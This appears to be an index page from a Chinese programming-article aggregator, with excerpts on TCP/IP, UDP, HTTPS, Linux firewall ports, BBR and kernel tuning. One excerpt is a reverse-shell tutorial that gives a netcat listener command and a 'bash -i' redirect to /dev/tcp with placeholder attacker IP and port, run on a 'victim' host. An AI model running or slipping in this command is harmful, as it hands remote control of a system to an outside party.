ICode9

精准搜索请尝试: 精确搜索
  • 计算机基础知识2022-09-17 00:04:55

    计算机网络基础 网络层次划分 OSI七层划分    TCP/IP4层模型、5层模型和OSI七层模型的差别   物理层 物理层的作用:连接不同的物理设备,传输比特流。该层为上层协议提供了一个传输数据的可靠的物理媒体。简单的说,物理层确保原始的数据可在各种物理媒体上传输。 物理层设备: 中继

  • 4 TCP通信code2022-09-16 19:34:06

     字节序、ip地址和整数转换、tcp/ip通信   0706笔记就记了,但是具体是哪个函数遗忘了,赶紧来复习下 重点:0916面试问道了,ip地址和整数怎么转换 /* #include <arpa/inet.h> // p:点分十进制的IP字符串,n:表示network,网络字节序的整数 int inet_pton(int af, const char *s

  • 学习 网络基础知识 TCP协议和UDP协议对比2022-09-16 19:32:35

      TCP面向连接的 所有TCP三次握手和四次挥手;UDP是无连接的 TCP是可靠协议;UDP没有连接和确认协议 所以会丢包 会出错 所以是不可靠协议 TCP协议:如果数据量很大 防止丢包 ,能够正确重传,对数据准确性很关心情况下使用 UDP协议:传输量小,不怕丢包 TCP协议 速度慢 效率低 UDP协议 速度快

  • HTTP 与 HTTPS2022-09-16 19:01:49

    HTTP 与 HTTPS 有哪些区别? 1. HTTP 是超文本传输协议,信息是明文传输,存在安全风险的问题。HTTPS 则解决 HTTP 不安全的缺陷,在 TCP 和 HTTP 网络层之间加入了 SSL/TLS 安全协议,使得报文能够加密传输。2. HTTP 连接建立相对简单, TCP 三次握手之后便可进行 HTTP 的报文传输。而 HTTPS

  • 学习 网络基础知识 TCP协议,TCP三次握手2022-09-16 18:34:48

    TCP(Transmission Control Protocol)协议 传输控制协议,顾名思义,就是要对数据的传输进行一定的控制 TCP协议头部组成结构:   序号 sequence number:TCP数据包的一个编号-数据包过大,TCP数据会在网络中分段,分端后到达目的主机要进行重组,每一段按序号顺序重组  seq==1 确认号:acknowledg

  • 关于一台windows机器加入到AD域需要开通的防火墙端口记录2022-09-16 11:31:31

    背景:因业务需要,最近计划要将一台windows服务器需要加入到AD域环境,因此得提前申请到AD服务器的端口防火墙 于是向AD管理员咨询需要申请那些端口的防火墙,收到回复后,记录于此 Src Server -- > AD firewall port 123 UDP 135 TCP 464 TCP/UDP 49152-65535/TCP 389 TCP/UDP 636 TCP 3

  • linux 添加BBR加速2022-09-16 04:30:28

    BBR简介 TCP BBR是由来自Google的 Neal Cardwell 和 Yuchung Cheng 发表的新的TCP拥塞控制算法,目前已经在Google内部大范围使用并且随着linux 4.9版本正式发布。可大幅提升上网的访问速度。   BBR添加 查看内核版本,需要大于4.9 uname -r 开启BBR echo "net.core.default_qdi

  • http 请求 完整链路, web请求2022-09-16 01:32:20

    写在前面 作为程序员的我们每天都在和网络请求打交道,而前端程序员接触的最多的就是HTTP请求。平时工作中,处理网络请求之类的操作是最多的了。但是一个请求从客户端发出到被服务端处理、再回送响应,再被客户端接收这一个闭环的底层细节可能并没有深究过,本篇文章是我的一篇读书笔记,总

  • linux开放指定端口2022-09-15 22:04:12

    方式一CentOS:1、开启防火墙systemctl start firewalld2、开放指定端口firewall-cmd --zone=public --add-port=6379/tcp --permanent命令含义:–zone #作用域–add-port=6379/tcp #添加端口,格式为:端口/通讯协议–permanent #永久生效,没有此参数重启后失效3、重启防火墙firewall-cmd

  • 动画图解 socket 缓冲区2022-09-15 11:33:55

    目录 代码执行send成功后,数据就发出去了吗? 回答这个问题之前,需要了解什么是Socket 缓冲区。 Socket 缓冲区 什么是 socket 缓冲区 编程的时候,如果要跟某个IP建立连接,我们需要调用操作系统提供的 socket API。 socket 在操作系统层面,可以理解为一个文件。 我们可以对这个文件进行一

  • TCP/UDP 编程模型2022-09-13 16:31:07

    TCP编程模型 server创建socket套接字 socket套接字--可以理解为文件描述符(file descriptor),UNIX把网络看成文件 /** * @param domain domain参数指定了一个通信域;它选择了将被用于通信的协议族。 比如 AF_UNIX AF_INET * @param type type of sockfd 通信协议 *

  • 河北稳控科技DLS11 网关中继器(LTE-LoRA) 数据发送机制2022-09-13 13:30:20

    河北稳控科技DLS11 网关中继器(LTE-LoRA) 数据发送机制   DLS11 是 LoRA-LTE 网关设备,专用于接收其它 LoRA 设备发来的数据包存储并在预定的时间间隔后统一发送(目前支持 VSxxx、NLM3、NLM5、NLM6 的 LoRA 数据包格式)。发送的方式有:UART、TCP、EMAIL、FTP、RF,通过设置寄存器 SEND_W

  • CH579M以太网控制板-安装MQTT服务器软件2022-09-13 10:03:18

    <p><iframe name="ifd" src="https://mnifdv.cn/resource/cnblogs/CH579_DTU_PBX" frameborder="0" scrolling="auto" width="100%" height="1500"></iframe></p>   说明 MQTT服务器软件只是一个T

  • CH579M以太网控制板-连接路由器或交换机-多台控制板作为TCP服务器和电脑端的TCP客户端通信(控制板使用网线串联)2022-09-13 09:31:34

    <p><iframe name="ifd" src="https://mnifdv.cn/resource/cnblogs/CH579_DTU_PBX" frameborder="0" scrolling="auto" width="100%" height="1500"></iframe></p>   说明 这节测试一下多台控制板使用网

  • 传输层协议2022-09-11 23:01:02

    一、TCP协议介绍 ## TCP特性 1. 工作在传输层 2. 面向连接协议 3. 全双工协议 4. 半关闭 5. 错误检查 6. 将数据打包成段,排序 7. 确认机制 8. 数据恢复,重传 9. 流量控制,滑动窗口 (一)、TCP/IP协议族的传输层协议1.TCP(传输控制协议)(1)TCP是面向连接的、可靠的进程到进程通信的协议。(2)TC

  • TCP协议测试2022-09-10 09:04:16

    TCP协议测试 简介 TCP(Transmission Control Protocol传输控制协议)是一种面向连接的、可靠的、基于字节流的传输层通信协议。 在Python中一般用socket库来创建tcp协议传输。 在部分测试中,我们可能需要模拟tcp服务端或者客户端进行收发消息,其中以模拟客户端居多。 代码示例: 服务端: i

  • sokit2022-09-09 16:31:33

    简介 sokit 是一个在 windows 平台下免费的 TCP/UDP 测试(调试)工具, 可以用来接收,发送或转发 TCP/UDP 数据包。 它有三种工作模式: 服务器模式、客户端模式、转发器模式。 支持发送 ascii 字符串数据,以及十六进制表示的原始字节,单次发送的字符数目没有限制;收到的数据会同时以这两种

  • 【计算机网络】DNS协议介绍2022-09-08 21:02:01

    一、DNS协议概念 DNS是域名系统的缩写,提供主机名到IP地址的转换服务。 它是一个由分层的DNS服务器组成的分布式数据库,是定义了主机如何查询这个分布式数据库的方式的应用层协议。 二、DNS协议作用 将域名解析为IP地址,客户端向DNS服务器(DNS服务器有自己的IP地址)发送域名查询请求,DNS

  • portainer dial tcp10.10.185.122:2375 connection refused 错误修复2022-09-08 18:02:40

      需要在所有集群中的机器上修改 /usr/lib/systemd/system/docker.service     # 修改配置文件 vim /usr/lib/systemd/system/docker.service # 添加配置文件内容 execstart= xxxx -h tcp://0.0.0.0:2375 -h unix:///var/run/docker.sock xxx是代表原有的参数,追加 -h tcp://

  • 用bash反弹shell2022-09-08 12:00:16

    用bash反弹shell 受害主机;linux系统 攻击机:需要安装netcat(nc) 受害主机执行:ifconfig  ## 查看受害主机ip 攻击机执行:nc -lvp 19999 ## 在攻击机监听19999端口   受害主机执行:bash -i &> /dev/tcp/[攻击机ip]/[攻击机监听端口] 0>&1  ##反弹shell,bash是linux shell的一种,-i是指

  • linux 内核参数优化2022-09-07 18:00:30

    linux 内核参数优化 //允许非本地Ip地址socket监听 net.ipv4.ip_nonlocal_bind = 1 //开启ipv4转发 net.ipv4.ip_forward = 1 //是否开启数据包时间戳 net.ipv4.tcp_timestamps = 0 //端口复用,0表示关闭 net.ipv4.tcp_tw_reuse = 0 //快速回收TIME_WAIT状态,用于大量TIME_OUT

  • tcp2022-09-06 23:32:21

    TCP头部格式:双方端口号,序列号,确认应答号,标志位(ACK,SYN,FIN),窗口大小 序列号:初始序列号为时间循环值,每加一次数据,就累加这次数据字节数,用于解决网络包乱序 确认应答号:下一次期望收到的序列号,在这之前的已经全部收到,不用再发了,用于解决丢包问题 TCP面向连接,何为连接:⽤于保证可靠性

  • Linux Kernel TCP/IP Stack|Linux网络硬核系列2022-09-06 20:00:09

       介绍Linux网络技术中最核心的部分--TCP/IP协议栈 。 我们先看一下抽象的网络协议栈模型    再按分层思想看Linux内核协议栈实现框架    1. socket layer    socket框架     socket系统调用(socket,bind,listen,accept,send,recv等) BSD socket API 协议栈sock抽

  • TCP/UDP协议2022-09-06 19:03:53

    TCP/IP 介绍         Transmission Control Protocol/Internet Protocol 传输控制协议/因特网互联协议TCP/IP是一个Protocol Stack,包括TCP、IP、UDP、ICMP、RIP、TELNET、FTP、SMTP、ARP等许多协议最早发源于1969年美国国防部(缩写为DoD)的因特网的前身ARPA网络项目,1983年1月1日

  • 传输层2022-09-06 19:02:54

    一、TCP/IP和OSI模型的比较 相同点:两者都是以协议栈的概念为基础;     协议栈中的协议彼此相互独立     下层对上层提供服务 不同点:OSI是先有模型;TCP/IP是先有协议,后有模型;     OSI是国际标准,适用于各种协议栈;     TCP/IP实际标准,只适用于TCP/IP网络     层次

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有